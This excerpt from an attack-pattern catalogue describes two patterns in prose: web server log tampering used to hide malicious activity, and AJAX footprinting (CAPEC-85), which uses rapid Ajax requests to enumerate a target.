Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.